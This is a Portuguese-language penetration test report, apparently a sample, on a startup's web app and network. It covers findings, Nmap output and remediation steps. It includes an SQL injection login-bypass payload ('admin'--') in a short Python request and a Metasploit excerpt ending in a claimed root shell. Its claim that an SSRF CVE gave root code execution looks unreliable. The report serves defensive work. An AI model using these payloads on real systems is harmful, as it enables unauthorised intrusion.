Teste de Penetração
Análise profunda de vulnerabilidades em sistemas, redes e aplicações para identificar riscos à segurança antes que sejam explorados por atacantes.
$ Reconhecimento e coleta de informações
$ Varredura de vulnerabilidades
$ Exploração de falhas
$ Pós-exploração e análise
$ Vulnerabilidades identificadas
$ Nível de risco avaliado
$ Recomendações de correção
$ Plano de ação prioritário
Resumo Executivo
Visão Geral
O teste de penetração foi realizado contra os sistemas da startup, com foco em identificar vulnerabilidades críticas que poderiam ser exploradas por atacantes.
Principais Vulnerabilidades
- Injeção SQL na aplicação web (Crítica)
- Servidor desatualizado com vulnerabilidades conhecidas (Crítica)
- Configuração incorreta de CORS permitindo acesso não autorizado (Alta)
- Senhas padrão em dispositivos de rede (Alta)
- Exposição de informações sensíveis em mensagens de erro (Média)
Recomendações Imediatas
- Corrigir vulnerabilidades de injeção SQL na aplicação web
- Atualizar servidores e sistemas para versões mais recentes
- Implementar políticas de CORS restritivas
- Alterar todas as senhas padrão em dispositivos de rede
Metodologia
Reconhecimento
Coleta de informações sobre alvos, incluindo domínios, endereços IP, serviços expostos e tecnologias utilizadas.
Varredura
Identificação de portas abertas, serviços em execução e vulnerabilidades conhecidas nos sistemas.
Exploração
Tentativa de explorar vulnerabilidades identificadas para validar seu impacto real.
Pós-Exploração
Análise do nível de acesso obtido e possíveis movimentos laterais dentro do ambiente.
Relatório
Documentação detalhada de todas as descobertas, evidências e recomendações para correção.
Principais Vulnerabilidades
| ID | Vulnerabilidade | Severidade | Descrição | Recomendação |
|---|---|---|---|---|
| PT-001 | Injeção SQL na aplicação web | Crítica | Identificada possibilidade de injeção SQL no formulário de login, permitindo bypass de autenticação | Implementar prepared statements e validar todas as entradas |
| PT-002 | Servidor Apache desatualizado | Crítica | Versão 2.4.41 do Apache com vulnerabilidades conhecidas (CVE-2021-40438, CVE-2021-44224) | Atualizar para a versão mais recente do Apache (2.4.53 ou superior) |
| PT-003 | Configuração incorreta de CORS | Alta | API configurada com Access-Control-Allow-Origin: * permitindo requisições de qualquer origem | Restringir origens permitidas e implementar validação de headers Origin/Referer |
| PT-004 | Senhas padrão em roteador | Alta | Roteador principal utilizando credenciais padrão do fabricante (admin:admin) | Alterar imediatamente as credenciais para uma senha forte e única |
| PT-005 | Exposição de informações em mensagens de erro | Média | Mensagens de erro detalhadas expondo caminhos do sistema e versões de software | Configurar mensagens de erro genéricas e desativar modo debug em produção |
Detalhes Técnicos
Injeção SQL (PT-001)
Descrição
O formulário de login é vulnerável a injeção SQL através do parâmetro username. Um atacante pode inserir comandos SQL maliciosos para bypassar a autenticação.
url = "https://app.startup.com/login"
payload = {"username": "admin'--", "password": "any"}
response = requests.post(url, data=payload)
# Acesso concedido como administrador
Recomendações
- Implementar prepared statements com parâmetros
- Validar e sanitizar todas as entradas do usuário
- Implementar camada ORM para abstração do banco de dados
- Configurar conta de banco de dados com privilégios mínimos
$stmt = $db->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], $_POST['password']]);
$user = $stmt->fetch();
Resultados da Varredura Nmap
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open mysql MySQL 5.7.35-0ubuntu0.18.04.1
8080/tcp open http Node.js Express framework
Warning: Versions do Apache e MySQL possuem vulnerabilidades conhecidas
CVE-2021-40438: Vulnerabilidade no mod_proxy do Apache
CVE-2021-35604: Vulnerabilidade no MySQL 5.7.35
Exploração com Metasploit
Cenário de Ataque
Utilizando uma vulnerabilidade conhecida no Apache (CVE-2021-40438), foi possível obter execução remota de código no servidor web.
msf6 exploit > set RHOSTS 192.168.1.100
msf6 exploit > set LHOST 10.0.0.5
msf6 exploit > exploit
[*] Command shell session 1 opened
[*] Server compromised - root access obtained
Mitigação
- Atualizar imediatamente o Apache para a versão 2.4.53 ou superior
- Restringir módulos do Apache apenas aos necessários
- Implementar WAF (Web Application Firewall)
- Monitorar logs para tentativas de exploração
sudo apt update
sudo apt install --only-upgrade apache2
# Desativando módulo vulnerável
sudo a2dismod proxy_http
sudo systemctl restart apache2
Ferramentas Utilizadas
Kali Linux
Distribuição Linux especializada em testes de penetração e segurança da informação
Metasploit
Framework para desenvolvimento e execução de exploits contra sistemas vulneráveis
Nmap
Scanner de rede para descobrir hosts e serviços em uma rede de computadores
Burp Suite
Plataforma integrada para realização de testes de segurança em aplicações web
OWASP ZAP
Scanner automatizado para encontrar vulnerabilidades em aplicações web
SQLmap
Ferramenta automatizada para detecção e exploração de vulnerabilidades SQLi
Plano de Correção
Priorização
Corrigir vulnerabilidades críticas e altas dentro de 72 horas
Atualizações
Atualizar todos os sistemas e componentes para versões mais recentes
Configuração Segura
Aplicar hardening em todos os sistemas e serviços
Monitoramento
Implementar monitoramento contínuo e alertas de segurança
Reteste
Realizar novo teste de penetração após correções para validação